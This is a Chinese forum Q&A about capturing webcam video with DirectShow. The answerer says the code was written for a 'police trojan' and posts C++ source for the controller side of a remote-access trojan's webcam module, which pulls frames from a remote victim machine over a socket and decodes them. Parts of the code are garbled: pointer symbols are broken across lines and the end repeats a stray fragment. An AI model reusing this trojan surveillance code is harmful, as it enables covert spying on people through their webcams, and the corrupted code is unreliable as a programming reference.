如何用DShow的提供的功能来抓取摄像头的视频并保存?
在DShow的视频相关的开发中,很多一部分是对摄像头的视频进行处理。如果要处理这个情况,应该用什么样的Graph和filter来怎样进行保存?
Answers
这个我弄过,给警用木马写的摄像头监控。
以下是视屏监控类:
/*
常用的编码器压缩比,程序使用M263编码
0x64697663,1684633187,Cinepak Codec by Radius 76032 >> 1860
0x32335649,842225225,Intel Indeo(R) Video R3.2 76032 >> 475
0x56555949,1448433993,Intel IYUV codec 76032 >> 38016 放弃这个,压缩比太低
0x4356534d,1129730893,Microsoft Video 1 76032 >> 3202
0x3336324d,859189837,Microsoft H.263 Video Codec 76032 >> 663 对分辩率有要求
0x33564d57,861293911,Microsoft Windows Media Video 9 76032 >> 196
0x3234504d,842289229,Microsoft MPEG-4 Video Codec V2 76032 >> 349
M263只支持176 144 352 288 (352*288 24彩的试验只支持biPlanes = 1)
一段可以用的上的代码
// 列举本机安装的解码器(CODEC)
int EnumCodecs(int *fccHandler, char *strName)
{
static int i = 0;
int nRet = 1;
HIC hIC;
ICINFO icInfo;
if (fccHandler == NULL)
return 0;
if(!ICInfo(ICTYPE_VIDEO, i, &icInfo))
{
i = 0;
return 0;
}
hIC = ICOpen(icInfo.fccType, icInfo.fccHandler, ICMODE_QUERY);
if (hIC)
{
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
*fccHandler = icInfo.fccHandler;
//由于得到的szDescription是UNICODE双字节字串,所以要转换为ASCII的
if (strName != NULL)
wcstombs(strName, icInfo.szDescription, 256);
}
else nRet = -1;
ICClose(hIC);
i++;
return nRet;
}
Usage:
int fccHandler;
char strName[MAX_PATH];
while(EnumCodecs(&fccHandler, strName))
{
printf("0x%x,%s\n", fccHandler, strName);
}
/
class CVideoCodec
{
COMPVARS m_cv;
HIC m_hIC;
BITMAPINFO
m_lpbmiInput;
BITMAPINFO m_bmiOutput;
public:
BOOL InitCompressor(BITMAPINFO* lpbmi, DWORD fccHandler)
{
if (lpbmi == NULL)
return FALSE;
m_lpbmiInput = lpbmi;
ZeroMemory(&m_cv, sizeof(m_cv));
m_cv.cbSize = sizeof(m_cv);
m_cv.dwFlags = ICMF_COMPVARS_VALID;
m_cv.hic = m_hIC;
m_cv.fccType = ICTYPE_VIDEO;
m_cv.fccHandler = fccHandler;
m_cv.lpbiOut = NULL;
m_cv.lKey = 10;
m_cv.lDataRate = 6;
m_cv.lQ = ICQUALITY_HIGH;
m_hIC = ICOpen(ICTYPE_VIDEO, m_cv.fccHandler, ICMODE_COMPRESS | ICMODE_DECOMPRESS);
if (m_hIC == NULL)
{
return FALSE;
}
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
// 向编码器发送验证
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
m_cv.hic = m_hIC;
m_cv.dwFlags = ICMF_COMPVARS_VALID;
if (!ICSeqCompressFrameStart(&m_cv, m_lpbmiInput))
{
return FALSE;
}
ICDecompressBegin(m_hIC, &m_bmiOutput , m_lpbmiInput);
return TRUE;
}
BOOL DecodeVideoData(BYTE
pin, int len, BYTE
pout, int
lenr,DWORD flag)
{
if(!pin || !pout ||!m_hIC)
return FALSE;
if (ICDecompress(m_hIC, flag, &m_bmiOutput.bmiHeader, pin, &m_lpbmiInput->bmiHeader, pout) != ICERR_OK)
return FALSE;
if (lenr) *lenr = m_lpbmiInput->bmiHeader.biSizeImage;
return TRUE;
}
BOOL EncodeVideoData(BYTE
pin, int len, BYTE* pout, int* lenr, BOOL* pKey)
{
BYTE
p;
long s = 1;
BOOL k = TRUE;
if ( !pin || !pout || len != (int)m_lpbmiInput->bmiHeader.biSizeImage || !m_hIC)
return FALSE;
p = (BYTE
)ICSeqCompressFrame(&m_cv, 0, pin, &k, &s);
if (!p) return FALSE;
if (lenr) *lenr = s;
if (pKey) *pKey = k;
CopyMemory(pout, p, s);
return TRUE;
}
CVideoCodec()
{
m_lpbmiInput = NULL;
}
virtual ~CVideoCodec()
{
// No init yet or init error
if (m_hIC == NULL)
return;
ICDecompressEnd(m_hIC);
ICSeqCompressFrameEnd(&m_cv);
ICCompressorFree(&m_cv);
ICClose(m_hIC);
}
};
调用代码:
UINT RunCameraThread(LPVOID lparam)
{
CDialogVideo *pDlg=(CDialogVideo *)lparam;
static dwLastScreen = GetTickCount();
try
{
while (bGetVideo&&!stopAllThread)
{
// 限制速度
if ((GetTickCount() - dwLastScreen) < 150)
Sleep(100);
dwLastScreen = GetTickCount();
if (bReset)
{
pDlg->ResetScreen();
bReset=FALSE;
}
pDlg->DrawDIB();
}
}
catch (...)
{
}
pVideoThread=NULL;
return 0;
}
void CDialogVideo::DrawDIB()
{
m_nCount++;
ShowStatus(m_nCount);
//IsCompress + m_fccHandler + DIB
int nHeadLen = 1 + 4;
UINT nBufferLen =0;
LPBYTE lpBuffer=NULL;
int ret=::SEU_SendSocketData(video_socket,NULL,0,SEU_NEXTSCREEN);
if (ret<=0)
goto disposal;
/ while (bGetVideo)while循环在函数这里写; { } /
ret = ::SEU_ReadSocketData(video_socket,(BYTE*)&nBufferLen,sizeof(UINT));
if (ret<=0)
goto disposal;
//if (nBufferLen- nHeadLen>m_lpbmi->bmiHeader.biSizeImage)
//goto disposal;
lpBuffer = new BYTE[nBufferLen];
//循环读取,否则读取不完;
ret = ::SEU_LoopReadBigData(video_socket,(BYTE*)lpBuffer, nBufferLen);
if (ret<=0)
goto disposal;
if (lpBuffer[0] == 0) // 没有经过H263压缩的原始数据,不需要解码
{
// 第一次,没有压缩,说明服务端不支持指定的解码器
if (m_nCount == 1)
{
::EnableWindow(::GetDlgItem(m_hWnd,IDC_COMPRESS_CHECK),FALSE);
}
((CButton
)GetDlgItem(IDC_COMPRESS_CHECK))->SetCheck(BST_UNCHECKED);
memcpy(m_lpScreenDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);
}
else // 解码
{
InitCodec(
(LPDWORD)(lpBuffer + 1));
if (m_pVideoCodec != NULL)
{
((CButton*)GetDlgItem(IDC_COMPRESS_CHECK))->SetCheck(BST_CHECKED);
memcpy(m_lpCompressDIB, lpBuffer + nHeadLen, nBufferLen - nHeadLen);
m_pVideoCodec->DecodeVideoData(m_lpCompressDIB, nBufferLen - nHeadLen,
(LPBYTE)m_lpScreenDIB, NULL, NULL);
}
}
OnPaint();
disposal:
if (lpBuffer!=NULL)
{
delete [] lpBuffer;
}
}
void CDialogVideo::InitCodec(DWORD fccHandler)
{
if (m_pVideoCodec != NULL)
return;
m_pVideoCodec = new CVideoCodec;
if (!m_pVideoCodec->InitCompressor(m_lpbmi, fccHandler))
{
delete m_pVideoCodec;
// 置NULL, 发送时判断是否为NULL来判断是否压缩
m_pVideoCodec = NULL;
// 通知服务端不启用压缩
int ret=::SEU_SendSocketData(video_socket,NULL,0,SEU_CAMERA_DISABLECOMPRESS);
((CButton*)GetDlgItem(IDC_COMPRESS_CHECK))->SetCheck(BST_UNCHECKED);
::EnableWindow(::GetDlgItem(m_hWnd,IDC_COMPRESS_CHECK),FALSE);
}
}
if (bReset)
{
pDlg->ResetScreen();
bReset=FALSE;
}
pDlg->DrawDIB();
}
}
catch (...)
{
}
pVideoThread=NULL;
return 0;
}